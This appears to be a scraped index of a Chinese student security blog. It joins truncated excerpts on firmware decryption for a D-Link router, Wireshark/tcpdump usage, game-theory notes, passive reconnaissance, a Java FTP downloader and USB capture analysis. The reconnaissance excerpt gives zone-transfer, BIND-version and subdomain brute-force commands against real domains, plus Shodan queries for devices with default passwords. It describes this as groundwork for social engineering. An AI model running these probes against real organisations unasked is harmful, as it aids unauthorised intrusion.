jump-wang-111 / jump-wang-111.github.io Goto Github PK

固件过去没有加密，某个版本之后开始加密。那么最后一个未加密的版本中必然包含解密的程序（不然他自己怎么更新？）。




固件过去用方法1加密，现在用方法2加密，此时中间版本未加密。




固件过去用方法1加密，现在用方法2加密，此时中间版本用方法1加密。当然，这种情况下就不存在可供我们使用的未加密旧固件了，想要获取解包后的固件需要寻找其他方法。

D-Link DIR-882

获取固件

以D-Link的DIR-882为例，这里我们在官网下载站下载两个固件包，分别是最后一个未加密的过渡版本1.04B02版本（DIR882A1_FW104B02_Middle_FW_Unencrypt）和最新的1.30B06版本（DIR882A1_FW130B06）

其中1.04B02版本需要进入到v1.10版本的界面获取

其中过渡版本并未加密，可以binwalk解包，而最新的版本是加密的

定位解密文件

这里我们效仿OneShell师傅的做法，对文件系统进行字符串搜索，期望查找到解密的关键字

由于固件一般支持在线更新。所以我们可以解包后按如下逻辑搜索，定位固件在线升级的网页->检索相关的后端文件（包括http服务器、js、以及cgi等文件）-> 获取相关字符串 -> 找到解密文件

定位升级的网页，从这里可以看到对应后端是lighttpd

find . -iname

抓包软件使用：wireshark、tcpdunp

https://jump-wang-111.github.io/catchPacket/

wireshark

基本使用方法

选择网卡以开始，捕捉该网卡的网络包

假设选择eth0网卡，可以对该网卡的捕捉进行详细的设置：

混杂模式：开启的时候捕捉所有经由本网卡的数据包。不开启的时候只能捕捉到该网卡为终点的数据包，包括从该网卡发出以及收到的（包括以该网卡为目的地的单播以及组播和广播），假设我们的网卡是2，一个包从1发到3，中间途经2，那么不开启混杂模式的情况下是抓不到的。
捕获过滤器（capture filter）：可以使用一些命令指定要抓取哪些数据包，包括只抓特定ip，只抓tcp，只抓某端口等等（具体命令可以参考wireshark给的例子）
保存：尽量选择.pcap格式，因为几乎所有抓包软件都支持这个格式，而pacpng则是wireshark独有的格式
首选项：在外观可以增删列、改变布局和字体，在protocols里包含wireshark可以解码的所有协议类型及设置

过滤器

捕获过滤器：选择网卡开始抓包的时候设置的那个

显示过滤器：显示筛选器更常用、可以做更强的筛选，包括各种表达式的结合。

eg：可以先搜索udp，然后选中一个包的ip，右键-> apply as filter，然后就可以将当前的筛选与该ip进行各种逻辑结合，产生新的表达式。用这种方式可以逐层的将不想要的数据包剔除掉

常见协议包

这部分像ip、arp、tcp、udp在计网中详细的学过了，就不细说了

wireshark是通过端口号对协议进行解析的，比如HTTP是80端口，如果有的http包没走80端口，wireshark将无法识别出来，也就不会再解析tcp的上层协议，这时候我们可以通过对该包进行右键，选择decode as，手动设置为解析成http

数据流

在实际网络中通常是多个数据包甚至一片数据包合起来完成一件工作，一个个的看是非常麻烦的。这些数据包合起来构成了一个数据流，我们在可以在wireshark中右键follow tcp stream，来打开一个窗口观察整个数据流的交互。

常见数据流包括http、smtp、pop3、ssl等等

统计功能（static）

summary（捕获的文件属性）：可以查看该包的摘要信息

endpoints（端点）：可以查看使用不同协议的节点，可以通过传输字节数进行排序（发送、接收)

protocol hierarchy（协议分级）：可以了解到当前捕捉到的数据包的协议类型与所占比例，如果dns占比很大可能会有问题

package length（分组长度）：可以看到当前捕获的文件是大包为主还是小包为主，小包很多会导致网络性能不好同时也可能正在遭受攻击

conversation（会话）：可以看到不同地址之的会话，以及交换的信息量

analysis->export info（专家信息）：好的专家系统可能会给我们带来很大的便利，专家信息会对数据包进行自动的分析

缺陷和不足

当面对大的流量或分析大文件时，wireshark的性能上有所欠缺。基于这种不足，大型企业常常需要使用商业化的抓包产品，一般基于sniff和wireshark进行二次开发

tcpdump

每个unix和linux系统默认安装，不支持GUI

抓包默认只抓68个字节，通常能抓到二级包头


开始抓包：

-i指定抓包的网卡

-s指定抓获的字节数，0表示有多少抓多少

-w指定保存的文件

tcpdummp -i eth0 -s 0 -w a.cap


过滤器：

tcpdump -i eth0 port 22



读包：

显示概要

tcpdump -r a.cap


以ascii码的形式显示包里的内容：

tcpdump -A -r a,cap


显示过滤器：

通过操作系统的管道实现

-n表示不显示域名只使用ip地址

awk在这里是只显示第三列的内容

sort -u表示剔除重复项

tcpdump -n -r http.cap | awk '{print $3}' | sort -u


通过tcpdump本身实现

只显示源/目标IP是1.1.1.1的

tcpdump -n [src|dst] host 1.1.1.1 -r http.cap


只显示53端口的

tcpdump -n port 53 -r http.cap


-X以16进制显示

tcpdump -nX port 53 -r http.cap


高级过滤

flag字节为24的包（即psh+ack位置1）

tcpdump -A -n 'tcp[13]=24' -r http.cap

博弈论——导论、五个入门结论

https://jump-wang-111.github.io/%E5%8D%9A%E5%BC%88%E8%AE%BA1/

导论、五个入门结论

视频里的老师说这属于经济学的课，但是同样属于政治、法学、生物学、体育等等。嗯，计算机都有专门的博弈分支了，更应该听听了。

推荐书籍：《Strategy and Games》 Dutta;《Strategies》 Joel Watson

老师强烈推荐：《Thinking Strategically》，据说是非常棒的睡前读物

策略形势：行为影响结果，然而结果不仅取决于你的行为，还取决于其他的行为

  不属于政策形势的例子包括：自由竞争企业、垄断企业等等。
  属于的例子包括：福特和丰田等少数几家汽车企业，他们的决策会相互影响

游戏1

一个简单的成绩博弈：在不被你的同桌看到的情况下在方框中填写字母α或β，把这看成是成绩的赌注，学生会被随机分成两两一组，并且学生不知道自己会跟谁分到一组。按如下方法给出成绩：如果你选α而对手选β，那么你是A，对手是C；如果你们都选α，那么你们全是B-；如果你选β而对手选α，那么你是C，对手是A；如果你们全部是β，那么你们都得B+

列表整理信息

表格内的选择表示我的收益

  你\你的对手
  α
  β




  α
  B-
  A


  β
  C
  B+

再来画一下对手的表格，表格内的选择表示对手的收益

  你\你的对手
  α
  β




  α
  B-
  C


  β
  A
  B+

接下来使用博弈论的标准方式整理表格，将两个表格插在一起，进行比对。单元格内的第一个成绩是我的成绩，第二个成绩是我的对手的成绩。这是一个outcome matrix，列出了所有游戏内容

  你\你的对手
  α
  β




  α
  B-，B-
  A，C


  β
  C，A
  B+，B+

博弈的必要因素：动机和收益

这里教授叫起了不同的选择同学回答问题：为什么如此选择。并指出，截止目前为止，这并不算真正意义上的博弈，因为虽然涉及行为、策略、参与人，并且我们知道不同的结果，但是我们缺少了一个必要的因素，就是动机和收益，我们忽略了参与人关注的是什么。博弈论不能告诉你人生的目标是什么，但是一旦你明确了目标，博弈论可以帮助你达成目标。

通过问答，我们获得了两种可能的收益。一种是只考虑自身利益的，一种是同时替他人考虑的

第一种收益（恶魔收益）

只考虑自身利益的收益，我们暂且称为恶魔收益

这次我们用数字来代表功利或者说效益，代表了想要最大化的东西和想要达成的目标

  你\你的对手
  α
  β




  α
  0,0
  3，-1


  β
  -1,3
  1,1

定义：无论别人选什么，如果选α得到的结果严格优于β，那么α相对于β是一个严格优势策略（此定义的重点在于无论别人选什么）

结论1

由此总结结论1：

1、不要选择严格劣势策略，因为选择优势策略的时候，无论哪种情况，收益都要更高

结论2

问题：两个人都选择α，收益都是0，但如果两个人都选择β，两个人的收益都是1，所以应该选β，这个判断的问题在哪？

1、因为这个game没有交流合作的前提，我们没有办法保证别人经过了同样级别的思考，和我们得到了相同的结论。

2、即使有相同的想法，对面这时候也会选择α，因为会有3单位的收益

所以我们每人遵循结论1，不选择劣势策略，选择α，只能获得0的收益，也就是不好的结果

由此得到结论2：

2、理性人的理性选择导致了bad（次优/不好）的结果

经典案例：囚徒困境

这里还举了另一个十分贴切的例子：宿舍环境，年末的时候大家都不愿意打扫宿舍环境，那么无论室友是否打扫，对于一个懒蛋来说，不打扫是最好的选择，所以大家都选择对自己最有利的情况，都不打扫，宿舍环境就会很差。

以及离婚纠纷、企业价格战等等，都是囚徒困境的例子。

那么现实中如何打破囚徒困境？

使用强制力约束来来促进和合作的达成，书面协议、暴力等等。

第二种收益（天使收益）

这是同时为别人的考虑的人的收益，我们暂且称为天使收益

这次改变了两人选择不同时的收益数字，想象一种可能：

假设我选择α，对手选择β，我应该得到3收益，但由于内心的愧疚不安，减去负罪感后收益是$3-4=-1$

假设我选择β，对手选择α，我应该得到-1收益，但由于我对他害我得-1感到愤怒，于是收益是$-1-2=-3$

  你\你的对手
  α
  β




  α
  0,0
  -1，-3


  β
  -3,-1
  1,1

在第二种收益的情况下，选α会得到0/-1，选β会得到-3/1，α的下线更高，β的上限更高。情况是，对方选α的时候我最好也选α，对方选β的时候我最好也选β，这里没有优势策略。这个博弈叫做“协和谬误”。

由此可见，收益很重要，改变了收益，博弈截然不同。因此我们得到了结论3

结论3

3、汝欲求之，必先知之（you can’t get what you want unless you know what you want.）

混搭收益

我们是恶魔，而对手是天使，这种时候如何决策呢？还是用列来代表收益，第一列是我们的，第二列是对手的。我们把前面的两个表格和在一起就是我们需要的了

  你\你的对手
  α
  β




  α
  0,0
  3，-3


  β
  -1,-1
  1,1

作为一个恶魔，α是一个绝对的优势策略，正如结论1，所以选择α

作为一个天使，不存在优势策略，但是这里几乎所有台下的同学都选择了α，这是正确的选项，因为对我的对手来说α是优于β的。我最好也选α（现实生活中，有人做过实验，差不多70%的人会选择α，30%的人选择β）

结论4

由此可以得到重要结论：
结论4：站在别人的立场分析他们会怎么做

结论5

在耶鲁大学α和β比例是238比36

结论5：Yale students are evil.

游戏2 选数字

“从1到100之间选一个数字填到下面的方框内，不要让你的同桌看到，我们会计算全班的平均数，谁选的数字最接近平均数的三分之二，谁就是赢家，赢家的奖金是5美元减去所选数和平均数2/3之差的美分”

博弈论——学会换位思考

https://jump-wang-111.github.io/%E5%8D%9A%E5%BC%88%E8%AE%BA2/

formal stuff（正经事）

博弈的要素

参与人（player）


  
    表示法（notation）：$i, j$

    	在game2中，每个同学都是参与人
  



策略（strategies）


  
    表示法（notation）

    
      
        $s_i$表示参与人$i$的某个策略，game2中为选择数字13
      
      
        $s_{-i}$表示除$i$外其他所有人的策略

        	这个表示是很有必要的，因为很多时候需要考虑i自己的策略和其他人的策略的收益。这是一个有效的思路
      
      
        $S_i$表示参与人$i$所有可能的策略集合，game2中为{1,2,3，…，100}
      
      
        $s$表示某一次博弈
      
    
  
  
    策略组合（strategy profile/vector/list）

    	表示每个参与人都有一个对应的策略，game2中为记录所有同学选择的电子表格
  



收益（payoffs）


  
    表示法（notation）

    
      
        $U_i$表示参与人$i$的收益

        他的收益由所有参与人的策略决定，当然也包括他自己的策略，所以$U_i(s_1,s_2,…,s_n)$，简写为$U_i(s)$，它由策略组合决定

(U_i(s) = \left{
\begin{aligned}
x & = $5 - err & if(win) \
y & = 0 & if(lose)
\end{aligned}
\right.)

我们现在假设这些都是已知的，我们假设每个人都知道其他人可能选择的策略，每个人都知道其他人的收益

一个帮助理解的小例子

  player1\player2
  left
  center
  right




  top
  5，-1
  11，3
  0，0


  bottom
  6，4
  0，2
  2，0

简单的分析：

参与人：player1和player2

策略集合：$S_1={T,B}$，$S_2={L,C,R}$

这里值得注意的是，迄今为止我们学习的都是对称博弈，而这是一个非对称博弈

收益：eg：$U_1(T,C)=11$，$U_2(T,C)=3$

更多的讨论

player1没有劣势策略，因为在2选择左时，6>5，在2选择中时，11>0

而对player2来说，选择中总是比右好，中严格优于右

Define. 参与者I的策略$s_i’$严格劣于参与者i的另一个策略$s_i$，if $U_i(s_i,s_{-i}) > U_i(s_i’,s_{-i}) ;for;all; s_{-i}$

也就是说，参与者I的策略$s_i’$严格劣于参与者i的另一个策略$s_i$，如果$s_i$总是更好的，也就是总能给i带来更多的收益，而无论其他人怎么选

更有趣的例子

一个**者打算入侵一个国家，有两个关口，**者必须通过其中一个才能进入，而你是国家的防御者，你必须决定在哪个关口布置你的防线，问题是你只能防守二者之一。一条路非常崎岖，需要翻越阿尔卑斯山；另一条平坦，只需要沿着海岸线走。如果**者选择崎岖的路，仅在穿越阿尔卑斯山的途中就要损失一个营的兵力，如果遇到了防线，无论在哪边，都会再损失一个营的兵力。

我们需要搞清楚收益后分析这个博弈。

攻击者的收益是他攻入国家后还剩下多少兵力，他只有两个营的兵力。我们的收益是入侵者损失了多少兵力。

  defender\attacker
  Easy
  Hard




  Easy
  1,1
  1,1


  Hard
  0,2
  2,0

我们可以看到，作为防守方的我们并不存在劣势策略

但是对于攻击方来说，选择easy并不严格优于hard，但是在这种情况下有个弱优势，专业地说，对于攻击者，选择easy略优于hard。意思是，选择easy比hard，至少同样，可能还稍微好些。

Define2. 参与者i的策略$s_i’$，略劣于其他策略$s_i$，当且仅当$U_i(s_i,s_{-i}) >= U_i(s_i’,s_{-i})$ for all $s_-i$

除此之外，$U_i(s_i,s_{-i}) > U_i(s_i’,s_{-i})$ for some $s_-i$

那么，我们认为攻击者会从easy攻击，这种情况下我们该如何设防呢？

当然会想设防在easy，不过历史上的汉尼拔选择的是hard

game2 in last lesson

每个人都想赢，所以每个人都有自己的策略，我们可以先剔除一些策略

  >67的数:每个人都选了100，那么平均数的2/3就是67。这是劣势策略
  67>s>45，这些策略在原博弈中不是弱劣势的，但在我们剔除了原劣势策略后，考虑到周围人将采用相同策略，那么他们将是新的弱劣势策略。这是换位思考的过程
  45>s>30，同理剔除，换位再换位的过程
  30>s>20，三次换位思考
  ……
  ……
  ……
  1

这时，每一步的策略被剔除的同时，都会有一些人停步在这些策略上。我们来讨论下理性对博弈结果的影响

  如果你是一个理性的参与人，也就是个人利益最大化的策略，你会剔除大于67的策略。只推论到这里的人，他们自己不好说，但是他们认为其他人都是愚蠢的。
  要剔除45到67的数，不仅自己要理性（R：rational），也要知道别人也是理性的（KR: know rational）
  剔除30-45，需要R,KR,KKR
  剔除20-30，需要R,KR,KKR,KKKR
  ……
  ……
  ……
  1[这在哲学上有个术语叫共同知识（common knowledge），如果所有人都考虑到这一点，1就是最优策略]

视频里最后的结果是9
在大家都知道以上理论的基础上，再play一遍

  这次几乎大多数人选的都比上次更小，在1-10的范围内尤其的多
  我们可以得到结论，我们不仅要站在别人的立场上思考别人的收益；还要站在别人的立场上，思考他们在博弈时有多老练，并且要考虑到他们认为我有多老练，还有他们认为我认为他们认为我有多老练…不同知识层面会导致不同的结果
  举个例子，一个公司和竞争对手博弈，应当认为对手很老练，但是和客户博弈，就可能假设不是那么完备

共同知识：两个人都带着粉色帽子，并彼此对视，他们不知道自己的帽子是粉色的，那么此时说，至少有一个人的帽子是粉色的，这就不是共同知识，因为每个人自己都知道这件事，但是对视的两个人不知道对方知不知道这件事，所以不是共同知识

被动信息收集

https://jump-wang-111.github.io/Passive-information-collection/

被动信息收集也被成为开源智能。这个阶段不对目标系统进行过多探测，不引起目标系统的发现。只收集目标系统的公开的信息，在被攻击系统看来，我们的行为应该都是正常的。

信息收集通常分为三个阶段：被动信息收集、正常交互、主动信息收集（扫描、探测等）

被动信息收集的内容

IP地址段


域名信息


邮件地址

	可以通过邮件地址定位到邮件服务器，可以看是个人搭建的还是公网共开的，主要是为了之后社工的探测使用


文档图片数据

	有很多公司会把自己公开的信息做成文档、图片、彩页等，这些公开的信息里可能涉及到企业内部的信息，比如有关产品的介绍可以看出公司的性质，地理位置范围等等。我们也很有可能收集到目标公司不想公开的信息，如IT管理文档，就会包括内部网络结构、人员信息等等


公司地址

	如果知道地址就可以去现场蹲点观察，有可能发现他的无线网络问题或物理渗透的方式，从公司内部进行渗透


公司组织架构

	可以针对不同部门进行不同的社会工程学的攻击方式，这里的特殊岗位十分重要


联系电话


人员姓名/职务


目标系统使用过的技术架构

	通过搜索引擎、一些工具是可以发现一部分的


公开的商业信息

	比如他最近的合作伙伴，就可以着重从友商的设备下手，友商出现过的网络漏洞就十分重要

信息的用途

便于我们在头脑中对目标进行重构
便于发现目标的系统架构/主机所在等等
便于社会工程学攻击
便于进行物理性的渗透

DNS信息收集

一般来说，我们能得到的唯一信息就是目标的域名，其他信息都需要我们再进行收集

DNS的记录种类

A记录：域名-IP的记录
C name记录：域名-域名的记录
NS记录：域名-域名服务器的记录
MX记录：域名-邮件服务器的记录
PTR记录：IP-域名的记录

NSLOOKUP

nslookup是一个跨平台的命令，在windows和linux上都可以找到。我们在输入nslookup命令后会首先进入nslookup的命令解释程序，会对我们输入的域名进行逐级映射，这里新浪网址的映射过程就是

www.sina.com -> spool.grid.sinaedge.com. -> 123.126.45.205

这里的server是本地域名服务器

设置type

set type=mx：只查mx记录（也可写作set q=mx）

默认查询类型是a和cname，如果想要查询所有需要设置type为any

这里查到了三条记录，得到了三个邮件交换记录，我们就可以继续用得到的域名往下查。

数字表示优先级，数字越小优先级越高，数字相同的会随机选择。如果当前选用的服务器访问不到，会再尝试使用其他的域名。

设置server

比如把本地域名服务器设置为谷歌的域名服务器：

server 8.8.8.8

不同的本地服务器可能会解析出不同的IP，因为大多数域名都是一个名字对应n个IP，也就是在世界的各地都设有服务器，智能DNS会返回距离源IP最近的服务器的地址，以保证访问的流畅

所以在实际进行信息收集时应多尝试使用不同的本地域名服务器进行查询

命令行使用

后面不跟本地域名服务器则使用本机配置的域名服务器

nslookup -q=any 163.com 114.114.114.114

DIG

功能远远强过nslookup

基本使用方式

dig sina.com any @8.8.8.8

筛选

+noall: 什么都不显示

+answer: 只显示最终查询结果

dig +noall +answer sina.com any @8.8.8.8

反向查询

-x：表示反向查询

dig -x 66.102.251.24

BIND版本查询

大部分linux服务器上的dns解析服务，都是基于bind的软件包进开发的，dig命令可以查询bind版本。如果使用的bind版本存在漏洞，可以攻破dns服务器，就可以从中获取所有的dns记录（所有的子域名）

（然而，本人实践的时候基本都已经connection timed out了，看来时代变了）

dig +noall +answer txt chaos VERSION.BIND @ns3.sina.com

DNS追踪

可以发现域名服务器被劫持的情况

原理：通过跟踪的过程，本地客户端不会向本地域名服务器进行查询，而是直接向根域进行迭代查询。在这个过程中配合抓包会发现地址不正常的现象

dig +trace example.com [@8.8.8.8]

DNS区域传输

对其中同一个域下的一个域名服务器的数据库进行修改之后，DNS服务器之间会使用区域传输的方法来同步数据库，正常情况下，区域传输只发生在本域的域名服务器之间，但如果配置的存在问题，有可能任何人都可以和他进行区域传输，我们就可以获取到该域名服务器所有的主机记录。获取主机记录是DNS信息收集的主要目的

区域传输的传输方法为axfr（request for full zone）

dig @ns1.example.com example.com axfr

也可以使用host命令

这里-T是使用TCP的方式（axfr是使用TCP的53端口），-l是axfr的意思

host -T -l sina.com ns1.sina.com

DNS字典爆破

如果目标DNS服务器没有上述的配置错误，我们可以使用字典爆破的方式来尽可能多的获取主机记录。这里有很多工具可以实现，只要熟练掌握其中一个即可。

字典可以使用工具自带的，也可以使用自己的，字典可以在工具文件夹里搜集（使用find或者dpkg）。推荐把这些工具自带的字典合起来，然后使用其中一个就行

fierce -dnsserver 8.8.8.8 -dns sina.com.cn -wordlist a.txt

-t指定线程数 -x指定字典的级别[smlxu逐级加强] -d显示ipv6 -4显示ipv4

dnsdict6 -d4 -t 16 -x sina.com

-o为导出

dnsenum -f dns.txt -dnsserver 8.8.8.8 sina.com -o sina.xml
dnsmap sina.com -w dns.txt

lifetime为超时时间 -t指定类型 -D指定字典

dnsrecon -d sina.com --lifetime 10 -t brt -D /usr/share/dnsrecon/namelist.txt
dnsrecon -t std -d sina.com

DNS注册信息

除了主机之外，还可以收集一些dns注册的信息，有的域名在注册时候会留下注册人的姓名、电话、邮箱、公司地址等等信息。最好的查询途径就是使用whois，不同地区有不同的whois，因为不同地区的地址分配各自独自：亚太地区、非洲等等。

可以使用各个地区的网页查询，也可以使用whois指令，whois会

whois sina.com

搜索引擎

搜索引擎的作用：

公司新闻动态
重要雇员信息：比如新雇佣了一个安全研究员等
机密文档/网络拓扑
用户名密码
目标系统软硬件技术架构
目标系统历史性的文档等

现在使用搜索引擎进行黑客行为已经成为了一门科学，像谷歌有google hacking、百度的baidu hacking、必应的 bing hacking等。都是有关搜索的一些技术，通过搜索有可能直接搜到目标系统的漏洞，将搜索引擎用熟是黑客的必备技能。

我们需要做的就是将想要的信息从搜索引擎里提取出来

SHODAN

他与google、百度这些搜索引擎是不同的，google、百度是将爬到的网页页面信息存储在自己的数据库里；SHODAN不爬页面，只爬网络上的各种设备，通过http、ftp、ssh等。尤其是现在万物互联，物联网发展迅速，很多物联网设备的安全保护非常脆弱，有相当一部分使用默认账号密码就可以登录。

shodan可以输入写banner信息搜索、也可以使用shodan支持的筛选语句，在/explore中有常见的搜索关键词和方法

常见filter

filter使用:作为定界符，多个参数中间用空格隔开

在搜索到目标IP后，可以显示出这个IP在地图上的位置（现在这个功能要交钱了）

net

可以搜索具体IP和网段

net:8.8.8.8

net:61.191.146.0/24

country、city

country:CN city:beijing



port


os


hostname

hostname:baidu.com



server

比较好用的搭配

200 OK cisco contry:JP
user:admin pass:password
linux upnp avtech

火狐插件

当访问网页的时候插件会自动查询，可以更为方便的使用

Google

google是综合型的搜索引擎，不同于shodan，不只可以搜索设备，更多的是可以搜索网页等的信息

简单符号

+表示含有 -表示剔除

下面的搜索表示搜索，含有支付但是不含有充值的页面

+支付 -充值

软工大作业——多线程下载（二）

https://jump-wang-111.github.io/soft2/

这篇文章主要是关于ftp和torrent实现多线程下载的内容

关于ftp说的还算清楚

但是torrent就很一般了，建议还是先去看我所参考的博客，再去看源代码

实在是比较复杂，很难在一篇博客中说清楚，大家见谅个

一、根据psp表格做出预估

表格中实际耗时由需求完成后进行的统计

PSP 2.1表格

  PSP2.1
  Personal Software Process Stages
  预估耗时（分钟）
  实际耗时（分钟）




  Planning
  计划
  20
  30


  · Estimate
  · 估计这个任务需要多少时间
  20
  30


  Development
  开发
  11580
  12660


  · Analysis
  · 需求分析 (包括学习新技术)
  4500
  5020


  · Design Spec
  · 生成设计文档
  380
  470


  · Design Review
  · 设计复审 (和同事审核设计文档)
  30
  30


  · Coding Standard
  · 代码规范 (为目前的开发制定合适的规范)
  40
  40


  · Design
  · 具体设计
  450
  440


  · Coding
  · 具体编码
  5600
  6040


  · Code Review
  · 代码复审
  340
  400


  · Test
  · 测试（自我测试，修改代码，提交修改）
  240
  220


  Reporting
  报告
  140
  260


  · Test Report
  · 测试报告
  80
  200


  · Size Measurement
  · 计算工作量
  20
  20


  · Postmortem & Process Improvement Plan
  · 事后总结, 并提出过程改进计划
  40
  40


   
  合计
  11720
  12920

二、思考与学习

这次新增的需求如下所示：

第2阶段实现批量多协议文件下载功能

指定下载地址时

可以在参数中指定多个要下载的文件地址，即允许使用多个url参数
可以将这些地址放入一个文本文件中，指定从该文件中读取。参数

--input filename, -i filename filename with multiple URL

支持使用正则表达式来生成多个下载地址，

同时，除支持http/https协议外，也能够支持如ftp, bittorrent，磁力链等。

首先要求我们实现多个文件的下载，这个好办，在我们已经实现的单文件的下载的基础上，只要多次执行就可以了

从文本中读取也只是一个Scanner的事，so easy

有规律的生成下载地址，这貌似用不上正则？有点杀鸡扭牛刀的感觉（

看来最后的要求才是重点

同时，除支持http/https协议外，也能够支持如ftp, bittorrent，磁力链等。

这，这是什么…太..太强了，我现在溜还来得及吗

三、内容实现

1、核心思路

整个代码的核心逻辑和之前一样，如下所示

但是我们对代码进行了更高级的抽象，使相同的思路可以适应更广泛的情况

重新进行抽象，对代码重构之后的类图如下所示

我们抽象出了更高层级的协议接口，使用不同的方式实现接口，达到使用不同协议下载的目的

这里由于http已经实现过了，我们就不再赘述了，直接从ftp讲起

2、ftp

首先我们需要知道，对于http来说，传输文件只是其中的一个功能，而ftp则是专门用来传输文件的，换句话说，这位是专业的。不过幸运的是，对于我们这些只需要会怎么下载，怎么多线程下载的人来收，问题简化了不少，我们只需要知道从ftp服务器上下载的步骤就可以了。

通过ftp来下载或上传首先要通过账户密码登录，然后通过特定的命令就可以实现了，而我们使用java的话，Apache的ftpclient是个不错的选择

考虑到用户使用的便捷性，我们使用一次性输入的原则，只要设置好就可以开始下载。

所以我们的ftp url输入格式如下所示( 我们用splitUrl方法解析该字符串 )：

ftp://用户名：密码@站点地址

eg: ftp://test1:[email protected]:21/game/download.exe

关于一些ftpclient的基本操作，可以参考这个、这个、还有这个

package Protocol;

import Protocol.Protocols;
import org.apache.commons.net.ftp.FTPClient;
import org.apache.commons.net.ftp.FTPFile;
import org.apache.commons.net.ftp.FTPReply;

import java.io.*;
import java.nio.charset.StandardCharsets;

public class Ftp implements Protocols {

FTPClient ftp = null;

/**
 * url格式如下，构造时会进行解析
 * ftp://用户名:密码@地址:端口/远程文件存储地址
 */
String url;
String host = null;
int port = 0;
String username = null;
String password = null;

// 远程文件位置
String remote;

public Ftp(String url) {
    this.url = url;
    splitUrl();
}

@Override
public boolean connect() throws IOException {
    ftp = new FTPClient();
    // 连接FPT服务器,设置IP及端口
    ftp.connect(host, port);
    // 设置用户名和密码
    ftp.login(username, password);
    // 设置连接超时时间,5000毫秒
    ftp.setConnectTimeout(5000);
    // 设置中文编码集，防止中文乱码
    ftp.setControlEncoding(

博弈论——导论、五个入门结论

https://jump-wang-111.github.io/gameTheory1/?

导论、五个入门结论

视频里的老师说这属于经济学的课，但是同样属于政治、法学、生物学、体育等等。嗯，计算机都有专门的博弈分支了，更应该听听了。

推荐书籍：《Strategy and Games》 Dutta;《Strategies》 Joel Watson

老师强烈推荐：《Thinking Strategically》，据说是非常棒的睡前读物

策略形势：行为影响结果，然而结果不仅取决于你的行为，还取决于其他的行为

  不属于政策形势的例子包括：自由竞争企业、垄断企业等等。
  属于的例子包括：福特和丰田等少数几家汽车企业，他们的决策会相互影响

游戏1

列表整理信息

表格内的选择表示我的收益

  你\你的对手
  α
  β




  α
  B-
  A


  β
  C
  B+

再来画一下对手的表格，表格内的选择表示对手的收益

  你\你的对手
  α
  β




  α
  B-
  C


  β
  A
  B+

  你\你的对手
  α
  β




  α
  B-，B-
  A，C


  β
  C，A
  B+，B+

博弈的必要因素：动机和收益

通过问答，我们获得了两种可能的收益。一种是只考虑自身利益的，一种是同时替他人考虑的

第一种收益（恶魔收益）

只考虑自身利益的收益，我们暂且称为恶魔收益

这次我们用数字来代表功利或者说效益，代表了想要最大化的东西和想要达成的目标

  你\你的对手
  α
  β




  α
  0,0
  3，-1


  β
  -1,3
  1,1

定义：无论别人选什么，如果选α得到的结果严格优于β，那么α相对于β是一个严格优势策略（此定义的重点在于无论别人选什么）

结论1

由此总结结论1：

1、不要选择严格劣势策略，因为选择优势策略的时候，无论哪种情况，收益都要更高

结论2

问题：两个人都选择α，收益都是0，但如果两个人都选择β，两个人的收益都是1，所以应该选β，这个判断的问题在哪？

1、因为这个game没有交流合作的前提，我们没有办法保证别人经过了同样级别的思考，和我们得到了相同的结论。

2、即使有相同的想法，对面这时候也会选择α，因为会有3单位的收益

所以我们每人遵循结论1，不选择劣势策略，选择α，只能获得0的收益，也就是不好的结果

由此得到结论2：

2、理性人的理性选择导致了bad（次优/不好）的结果

经典案例：囚徒困境

以及离婚纠纷、企业价格战等等，都是囚徒困境的例子。

那么现实中如何打破囚徒困境？

本质上就是去改变利益

使用强制力约束来来促进和合作的达成，书面协议、暴力

使一次博弈变为多次博弈

使用教育的方式等等

第二种收益（天使收益）

这是同时为别人的考虑的人的收益，我们暂且称为天使收益

这次改变了两人选择不同时的收益数字，想象一种可能：

假设我选择α，对手选择β，我应该得到3收益，但由于内心的愧疚不安，减去负罪感后收益是$3-4=-1$

假设我选择β，对手选择α，我应该得到-1收益，但由于我对他害我得-1感到愤怒，于是收益是$-1-2=-3$

  你\你的对手
  α
  β




  α
  0,0
  -1，-3


  β
  -3,-1
  1,1

由此可见，收益很重要，改变了收益，博弈截然不同。因此我们得到了结论3

结论3

3、汝欲求之，必先知之（you can’t get what you want unless you know what you want.）

混搭收益

  你\你的对手
  α
  β




  α
  0,0
  3，-3


  β
  -1,-1
  1,1

作为一个恶魔，α是一个绝对的优势策略，正如结论1，所以选择α

结论4

由此可以得到重要结论：
结论4：站在别人的立场分析他们会怎么做

结论5

在耶鲁大学α和β比例是238比36

结论5：Yale students are evil.

游戏2 选数字

从wireshark抓包进行USB协议分析

https://jump-wang-111.github.io/usb%E5%8D%8F%E8%AE%AE%E5%88%86%E6%9E%90/

本文将在windows下从wireshark抓包的角度对USB协议进行分析

USB

在抓包的过程中我的电脑上一共连接了3个usb设备，分别为一个键盘、一个无线鼠标接收器以及一个U盘

下面是我的设备管理器的显示，由于电脑上除了我外连的三个usb设备之外还有电脑内的主机控制器和根集线器等设备，所以设备管理器显示有6个。

usb设备是三段地址描述，第一个是总线，第二个是设备地址，第三个是端口.我们可以使用这种方式在wireshark内进行过滤

我们可以看到图中有一部分数据为USB URB，那么什么是URB呢？根据microsoft的官方文档我们可以看到URB的定义。相关网页

通用串行总线 (USB) 客户端驱动程序无法直接与其设备通信。相反，客户端驱动程序创建请求并将其提交到 USB 驱动程序堆栈进行处理。在每个请求中，客户端驱动程序提供长度可变的数据结构，称为 USB 请求块 (URB) 。 URB结构描述请求的详细信息，还包含有关已完成请求的状态的信息。客户端驱动程序通过 URBs 执行所有设备特定的操作，包括数据传输。在将 URB 提交到 USB 驱动程序堆栈之前，客户端驱动程序必须用该请求的相关信息对其进行初始化。对于某些类型的请求，Microsoft 提供了 helper 例程和宏，用于分配 URB 结构并使用客户端驱动程序提供的详细信息填充 URB 结构的必要成员。

接入过程分析

获取设备描述符

我们以插入的键盘（地址为7）为例进行分析

可以看到，主机首先向1.7.0发送了一个GetDescriptor请求，这里请求的是设备描述符。

之后我的键盘向主机返回了一个18字节的设备描述符，里面指明了usb版本为2.0，产品id为阿米洛的键盘，可能的配置数为1等等信息。

设备描述符结构如下所示：

struct _DEVICE_DESCRIPTOR_STRUCT
{
BYTE bLength; //设备描述符的字节数大小，为0x12
BYTE bDescriptorType; //描述符类型编号，为0x01
WORD bcdUSB; //USB版本号
BYTE bDeviceClass; //USB分配的设备类代码，0x01~0xfe为标准设备类，0xff为厂商自定义类型
//0x00不是在设备描述符中定义的，如HID
BYTE bDeviceSubClass; //usb分配的子类代码，同上，值由USB规定和分配的
BYTE bDeviceProtocol; //USB分配的设备协议代码，同上
BYTE bMaxPacketSize0; //端点0的最大包的大小
